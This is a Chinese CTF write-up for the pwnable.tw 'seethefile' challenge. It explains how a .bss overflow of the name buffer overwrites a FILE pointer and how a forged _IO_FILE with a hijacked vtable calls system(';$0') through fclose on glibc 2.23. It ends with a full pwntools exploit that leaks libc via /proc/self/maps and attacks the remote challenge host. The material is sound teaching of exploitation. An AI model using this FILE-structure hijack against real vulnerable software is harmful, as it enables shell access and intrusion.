主要参考: https://xuanxuanblingbling.github.io/ctf/pwn/2020/04/03/file/

2.23版本没有做检查, 简单入门下iofile

利用分析

Ubuntu GLIBC 2.23-0ubuntu5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nptr; // [esp+Ch] [ebp-2Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
init();
welcome();
while ( 1 )
{
menu();
__isoc99_scanf("%s", &nptr);
switch ( atoi(&nptr) )
{
case 1:
openfile();
break;
case 2:
readfile();
break;
case 3:
writefile();
break;
case 4:
closefile();
break;
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);
printf("Thank you %s ,see you next time\n", &name);
if ( fp )
fclose(fp);
exit(0);
return;
default:
puts("Invaild choice");
exit(0);
return;
}
}
}

​ 一眼顶针 name存在溢出,可以溢出到fp, 并且保护没有开PIE,可以知道地址,

1
2
3
4
5
6
7
8
.bss:0804B260 name            db 20h dup(?)           ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends
.bss:0804B280

​ fp这里是一个FILE结构体,如何利用呢?

​ 伪造一个fake FILE,放到bss后面就可以了,地址也知道,然后覆盖地址为伪造的FILE地址

伪造iofile及其虚表

​ 如何伪造? 各个变量的值应该是多少?、

​ file结构:https://ctf-wiki.org/pwn/linux/user-mode/io-file/introduction/

1
2
3
4
5
6
7
fakeFILE = 0x0804B284
payload = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98) // 这是虚表地址
payload += p32(system_addr)*3 // 虚表内容

​ iofile的结构如下图:

img

伪造flags 从而触发_finish

1
_flags&0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINSH(fp)相当于调用fp->vtable->_finish(fp)

​ 所以最后是调用了_IO_file_finish触发的(fclose?), 为什么不用/bin/sh呢?

伪造虚表

​ IOFILE之后就是 _IO_file_jumps,所以,可以劫持这个vtable指针,

1
2
pwndbg> p sizeof(_IO_FILE)
$4 = 148

​ 大小是148, 也就是0x94, 0x94这里存的是虚表的地址,所以 虚表的位置位于fakeFILE+0x94 + 4

​ _finish位于第三个位置,所以把第三个位置伪造成system就行了

;$0是什么?

;是隔断命令的意思, $0经过实验是bash

exp

exp一直没成功,估计是栈平衡的事? 不像, libc的事

本地和远程还不太一样, 远程的话,接收到的libc地址需要+0x1000( 在调试的时候能发现这一个特殊的地方,虽然不知道是干啥的,

远程打通的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
myelf = ELF("./seethefile")
#libc = ELF("./libc.so.6")
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw",10200)
#io = process("./seethefile")
sla = lambda delim,data :io.sendlineafter(delim, data)
openfile = lambda name : (sla("choice :","1"),sla("see :",name))
readfile = lambda : (sla("choice :","2"))
showfile = lambda : (sla("choice :","3"))
leave = lambda name : (sla("choice :","5"),sla("ame :",name))
# gdb.attach(io)
# leak libc
openfile("/proc/self/maps")
readfile()
showfile()
io.recvuntil("[heap]\n")
libc_addr = int(io.recv(8),16) + 0x1000
print("libc:",hex(libc_addr))
system_addr = libc_addr +libc.symbols['system']
print(hex(system_addr))
#pause()
# make fake file
fakeFILE = 0x0804B284
payload = b'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += b";$0"+b'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3

# getshell
leave(payload)
io.interactive()